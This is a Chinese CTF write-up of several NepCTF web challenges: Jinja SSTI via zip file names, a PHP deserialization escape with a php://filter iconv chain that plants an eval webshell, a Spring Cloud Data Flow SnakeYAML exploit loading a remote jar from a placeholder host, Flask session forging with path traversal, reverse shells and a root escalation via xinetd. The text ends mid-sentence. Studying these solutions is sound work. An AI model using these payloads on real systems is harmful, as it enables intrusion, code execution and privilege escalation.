WEB NepDouble 源码:
from flask import Flask, request,render_template,render_template_stringfrom zipfile import ZipFileimport osimport datetimeimport hashlibfrom jinja2 import Environment, FileSystemLoaderapp = Flask(__name__,template_folder='static' ) app.config['MAX_CONTENT_LENGTH' ] = 1 * 1024 * 1024 UPLOAD_FOLDER = '/app/uploads' app.config['UPLOAD_FOLDER' ] = UPLOAD_FOLDER if not os.path.exists(UPLOAD_FOLDER): os.makedirs(UPLOAD_FOLDER) template_env = Environment(loader=FileSystemLoader('static' ), autoescape=True ) def render_template (template_name, **context ): template = template_env.get_template(template_name) return template.render(**context) def render_template_string (template_string, **context ): template = template_env.from_string(template_string) return template.render(**context) @app.route('/' , methods=['GET' , 'POST' ] ) def main (): if request.method != "POST" : return 'Please use POST method to upload files.' try : clear_uploads_folder() files = request.files.get('tp_file' , None ) if not files: return 'No file uploaded.' file_size = len (files.read()) files.seek(0 ) file_extension = files.filename.rsplit('.' , 1 )[-1 ].lower() if file_extension != 'zip' : return 'Invalid file type. Please upload a .zip file.' timestamp = datetime.datetime.now().strftime('%Y%m%d%H%M%S' ) md5_dir_name = hashlib.md5(timestamp.encode()).hexdigest() unzip_folder = os.path.join(app.config['UPLOAD_FOLDER' ], md5_dir_name) os.makedirs(unzip_folder, exist_ok=True ) with ZipFile(files) as zip_file: zip_file.extractall(path=unzip_folder) files_list = [] for root, dirs, files in os.walk(unzip_folder): for file in files: print (file) file_path = os.path.join(root, file) relative_path = os.path.relpath(file_path, app.config['UPLOAD_FOLDER' ]) link = f'<a href="/cat?file={relative_path} ">{file} </a>' files_list.append(link) return render_template_string('<br>' .join(files_list)) except ValueError: return 'Invalid filename.' except Exception as e: return 'An error occurred. Please check your file and try again.' @app.route('/cat' ) def cat (): file_path = request.args.get('file' ) if not file_path: return 'File path is missing.' new_file = os.path.join(app.config['UPLOAD_FOLDER' ], file_path) if os.path.commonprefix([os.path.abspath(new_file), os.path.abspath(app.config['UPLOAD_FOLDER' ])]) != os.path.abspath(app.config['UPLOAD_FOLDER' ]): return 'Invalid file path.' if os.path.islink(new_file): return 'Symbolic links are not allowed.' try : filename = file_path.split('/' )[-1 ] content = read_large_file(new_file) return render_template('test.html' ,content=content,filename=filename,dates=Exec_date()) except FileNotFoundError: return 'File not found.' except IOError as e: return f'Error reading file: {str (e)} ' def Exec_date (): d_res = os.popen('date' ).read() return d_res.split(" " )[-1 ].strip()+" " +d_res.split(" " )[-3 ] def clear_uploads_folder (): for root, dirs, files in os.walk(app.config['UPLOAD_FOLDER' ], topdown=False ): for file in files: os.remove(os.path.join(root, file)) for dir in dirs: os.rmdir(os.path.join(root, dir )) def read_large_file (file_path ): content = '' with open (file_path, 'r' ) as file: for line in file: content += line return content if __name__ == '__main__' : app.run('0.0.0.0' ,port="8000" ,debug=False )
审计源码,可以发现这一句话
return render_template_string('<br>' .join(files_list))
这里的file_list
是上传的压缩包里的文件名,是可控的,因此可以利用这个来ssti,没有过滤
创建文件,文件名是payload
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cd ..;cat flag').read()}}.txt
然后将它压缩成zip,接着上传,上传成功后,即可得到flag。
上传需要自己写一个上传表单
<!DOCTYPE html > <html lang ="zh-CN" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > 文件上传表单</title > </head > <body > <h2 > 文件上传表单</h2 > <form action ="https://neptune-14493.nepctf.lemonprefect.cn/" method ="post" enctype ="multipart/form-data" > <label for ="tp_file" > 选择文件:</label > <input type ="file" id ="tp_file" name ="tp_file" required > <br > <br > <input type ="submit" value ="上传文件" > </form > </body > </html >
PHP_MASTER!! 源码:
<?php highlight_file ( __FILE__ );error_reporting (0 );function substrstr ($data ) { $start = mb_strpos ($data , "[" ); $end = mb_strpos ($data , "]" ); return mb_substr ($data , $start + 1 , $end - 1 - $start ); } class A { public $key ; public function readflag ( ) { if ($this ->key=== "\0key\0" ){ $a = $_POST [1 ]; $contents = file_get_contents ($a ); file_put_contents ($a , $contents ); } } } class B { public $b ; public function __tostring ( ) { if (preg_match ("/\[|\]/i" , $_GET ['nep' ])){ die ("NONONO!!!" ); } $str = substrstr ($_GET ['nep1' ]."[welcome to" . $_GET ['nep' ]."CTF]" ); echo $str ; if ($str ==='NepCTF]' ){ return ($this ->b) (); } } } class C { public $s ; public $str ; public function __construct ($s ) { $this ->s = $s ; } public function __destruct ( ) { echo $this ->str; } } $ser = serialize (new C ($_GET ['c' ]));$data = str_ireplace ("\0" ,"00" ,$ser );unserialize ($data );
先是反序列化逃逸和一些反序列化的特性
参考链接:php反序列化
先在本地构造pop链,得到一个正常的序列化字符串
<?php highlight_file ( __FILE__ );function substrstr ($data ) { $start = mb_strpos ($data , "[" ); $end = mb_strpos ($data , "]" ); return mb_substr ($data , $start + 1 , $end - 1 - $start ); } class A { public $key ="\0key\0" ; public function readflag ( ) { echo $this ->key; if ($this ->key=== "\0key\0" ){ echo "readflag" ; $a = $_POST [1 ]; $contents = file_get_contents ($a ); var_dump (urlencode ($contents )); var_dump (file_put_contents ($a , $contents )); } } } class B { public $b ; public function __tostring ( ) { echo "__tostring" ; if (preg_match ("/\[|\]/i" , $_GET ['nep' ])){ die ("NONONO!!!" ); } $str = substrstr ($_GET ['nep1' ]."[welcome to" . $_GET ['nep' ]."CTF]" ); echo $str ; if ($str ==='NepCTF]' ){ echo "yes" ; var_dump ($this ->b); return ($this ->b) (); } } } class C { public $s ; public $str ; public function __construct ($s ) { $this ->s = $s ; } public function __destruct ( ) { echo $this ->str; } } $a = new C ('a' );$a ->str = new B ();$a ->str->b=array (0 =>new A (),1 =>"readflag" );echo (serialize ($a ));
接着对这个字符串进行处理,先截取出我们想要的部分
";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";s:5:"key";}i:1;s:8:"readflag";}}}
再接着修改一下key
的属性和值
";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\00key\00";}i:1;s:8:"readflag";}}}
最后根据字符串的总长度,生成逃逸字符
str = '";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\\00key\\00";}i:1;s:8:"readflag";}}}' print ('%00' *len (str ) + str )
得到:
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\00key\00";}i:1;s:8:"readflag";}}}
发送过去,逃逸成功
接着是这部分代码
function substrstr ($data ) { $start = mb_strpos ($data , "[" ); $end = mb_strpos ($data , "]" ); return mb_substr ($data , $start + 1 , $end - 1 - $start ); } public function __tostring ( ) { echo "__tostring" ; if (preg_match ("/\[|\]/i" , $_GET ['nep' ])){ die ("NONONO!!!" ); } $str = substrstr ($_GET ['nep1' ]."[welcome to" . $_GET ['nep' ]."CTF]" ); echo $str ; if ($str ==='NepCTF]' ){ echo "yes" ; var_dump ($this ->b); return ($this ->b) (); } }
参考链接:ctfshow_XGCTF_西瓜杯
每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节 每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节 每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节
构造出合适的payload即可
nep1=%f0abc%f0abc%f0abc%f0%9f%9fa&nep=Nep
最后是readflag
函数
public function readflag ( ) { if ($this ->key=== "\0key\0" ){ $a = $_POST [1 ]; $contents = file_get_contents ($a ); file_put_contents ($a , $contents ); } }
可以利用伪协议在index.php
里面写马
exp:
<?php $base64_payload = "PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk7Pz4" ; $conversions = array ( '/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4' , '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2' , '1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4' , '2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921' , '3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE' , '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2' , '5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE' , '6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2' , '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2' , '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2' , '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB' , 'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213' , 'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2' , 'C' => 'convert.iconv.UTF8.CSISO2022KR' , 'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2' , 'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT' , 'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB' , 'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90' , 'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213' , 'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213' , 'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4' , 'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE' , 'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC' , 'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T' , 'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4' , 'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775' , 'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB' , 'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2' , 'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4' , 'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS' , 'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103' , 'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932' , 'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB' , 'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936' , 'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932' , 'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361' , 'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16' , 'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE' , 'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE' , 'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2' , 'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2' , 'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937' , 'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213' , 'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8' , 'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE' , 'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000' , 'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16' , 'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2' , 'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE' , 'm' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949' , 'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61' , 'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE' , 'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4' , 'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2' , 'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101' , 's' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90' , 't' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS' , 'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61' , 'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932' , 'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE' , 'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS' , 'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT' , 'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937' , ); $filters = "convert.base64-encode|" ;$filters .= "convert.iconv.UTF8.UTF7|" ;foreach (str_split (strrev ($base64_payload )) as $c ) { $filters .= $conversions [$c ] . "|" ; $filters .= "convert.base64-decode|" ; $filters .= "convert.base64-encode|" ; $filters .= "convert.iconv.UTF8.UTF7|" ; } $filters .= "convert.base64-decode" ;$final_payload = "php://filter/{$filters} /resource=index.php" ;echo $final_payload ;
得到
php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=index.php
放到 1
里面发送过去,即可写马成功
查看 env
得到flag
Always RCE First 一个漏洞复现
参考链接:Spring Cloud Data Flow 漏洞分析(CVE-2024-22263|CVE-2024-37084)
按照文件的操作,先创建一个package.yaml
apiVersion: 1.0 .0 origin: my origin repositoryId: 12345 repositoryName: local kind: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://xxx/yaml-payload.jar" ]]]]name: test1 version: 1.1 .1
然后创建一个test-1.1.1
,一起压缩进一个压缩包
接着用脚本转换得到 packageFileAsBytes
def zip_to_byte_list (zip_file_path ): with open (zip_file_path, 'rb' ) as file: zip_data = file.read() return [byte for byte in zip_data] zip_file_path = 'test-1.1.1.zip' zip_byte_list = zip_to_byte_list(zip_file_path) print (zip_byte_list)
接着在这个 项目 下载源码并修改,修改完成后打包成jar包
javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf yaml-payload.jar -C src/ .
把 jar包放服务器,并用python启动一个http服务
python3 -m http.server 2333
发包
反弹shell成功,直接读flag即可
蹦蹦炸弹(boom_it) 审计源码,可以看到在/admin/dashboard
路由下可以RCE
@app.route('/admin/dashboard' , methods=['GET' , 'POST' ] ) def admin_dashboard (): if not session.get('admin_logged_in' ): return redirect(url_for('admin' )) if request.method == 'POST' : if 'file' in request.files: file = request.files['file' ] if file.filename == '' : return 'No selected file' filename = file.filename file.save(os.path.join(app.config['UPLOAD_FOLDER' ], filename)) return 'File uploaded successfully' cmd_output = "" if 'cmd' in request.args: if os.path.exists("lock.txt" ): cmd = request.args.get('cmd' ) try : cmd_output = subprocess.check_output(cmd, shell=True ).decode('utf-8' ) except Exception as e: cmd_output = str (e) else : cmd_output = "lock.txt not found. Command execution not allowed." return render_template('admin_dashboard.html' , users=users, cmd_output=cmd_output, active_tab="cmdExecute" )
在次之前,要先保证session.get('admin_logged_in')
成立,发现源码已经给了app.secret_key = "super_secret_key"
,那么可以直接 session伪造
{'username': 'HRP','admin_logged_in': true} python flask_session_cookie_manager3.py encode -s super_secret_key -t "{'username': 'HRP','admin_logged_in': True}" eyJ1c2VybmFtZSI6IkhSUCIsImFkbWluX2xvZ2dlZF9pbiI6dHJ1ZX0.Zsnvog.93hWSohyVwbqbd_9ZWvkmuhrBHg
然后用一个前端上传文件,抓包,修改上传文件名为../../lock.txt
,并带上 Cookie
上传成功后,即可RCE
反弹shell,然后发现flag
没权限读取
查看进程
再结合提示,观察有哪些应用是 root 启动的,可以看到一个/usr/sbin/xinetd
去查找它对应配置文件的位置(拷打GPT)
查看etc/xinetd.d/
可以看到pwnservice
有写入的权限,查看pwnservice
可以看到是通过8888
端口建立了连接
这里可以通过修改pwnservice
的server_args = -c "/home/ctfuser/start.sh"
为/bin/sh
,nc连接上就是root,也可以像我这样修改/home/ctfuser/start.sh
,我们也有/home/ctfuser/start.sh
的写权限
修改/home/ctfuser/start.sh
echo ";chmod 777 /home/ctfuser/*" >> /home/ctfuser/start.sh
然后建立与8888
端口的socket
连接,让脚本执行。
用python建立 socket 连接 (也可以用nc,一开始没注意到)
python3 -c "import socket;sock = socket.socket();sock.connect(('127.0.0.1', 8888));" nc 127.0.0.1 8888
成功获得flag
的读取权限,直接查看即可得到flag
NepRouter NepRouter-狸猫换太子 按照要求建立好连接(
我这里是用 bp 来代理的,后边都是用 bp 的内置浏览器做题
先把执行一次注册+登陆的操作
随便上传一个文件,之后成功注册TEST
用户,然后登陆上去。
点击Download Now
能下载下来一个文件,
同时点进/about
,通过审查源码,发现有一个8080
端口。
这里就会出现一个问题,如果直接访问8080
,会报Burp Suite Professional
,因为bp
占用了8080
端口,需要修改一下 bp 的监听端口
在这里将 8080 改成 8081,接着回到浏览器,访问127.0.0.1:8080
,来到一个新页面
接着分析下载下来的文件,用 ida 分析
翻看到sub_1ACE
函数,可以看到一个用户名
那么接下来应该要伪造这个用户。
接着回到 5000
端口的网站,翻看 BP 的历史访问记录,可以看到在点击注册时,会发送一个加密后的用户名
重新回到发送register
前,观察前端,发现当我们上传完文件后,前端会出现一个TEST
,再次点击注册,就会注册成功TEST
用户,猜测它加密时用的字符串是从这个位置取的
修改前端,把 TEST
改成 NepNepIStheBestTeam
然后再点Register
,注册成功后发现能用这个账号登陆,说明我们可以通过修改前端改数据
接着来到8080
的网站,用 NepNepIStheBestTeam
登陆,可以登陆上网页
这里有一个填地址的地方,抓一下这里的包
可以看到是请求了/setrouter
路由,对应上router
中的sub_1E91
逻辑
可以看到最后是走到了一个sub_1979
,点进去查看,发现可以 RCE
用curl
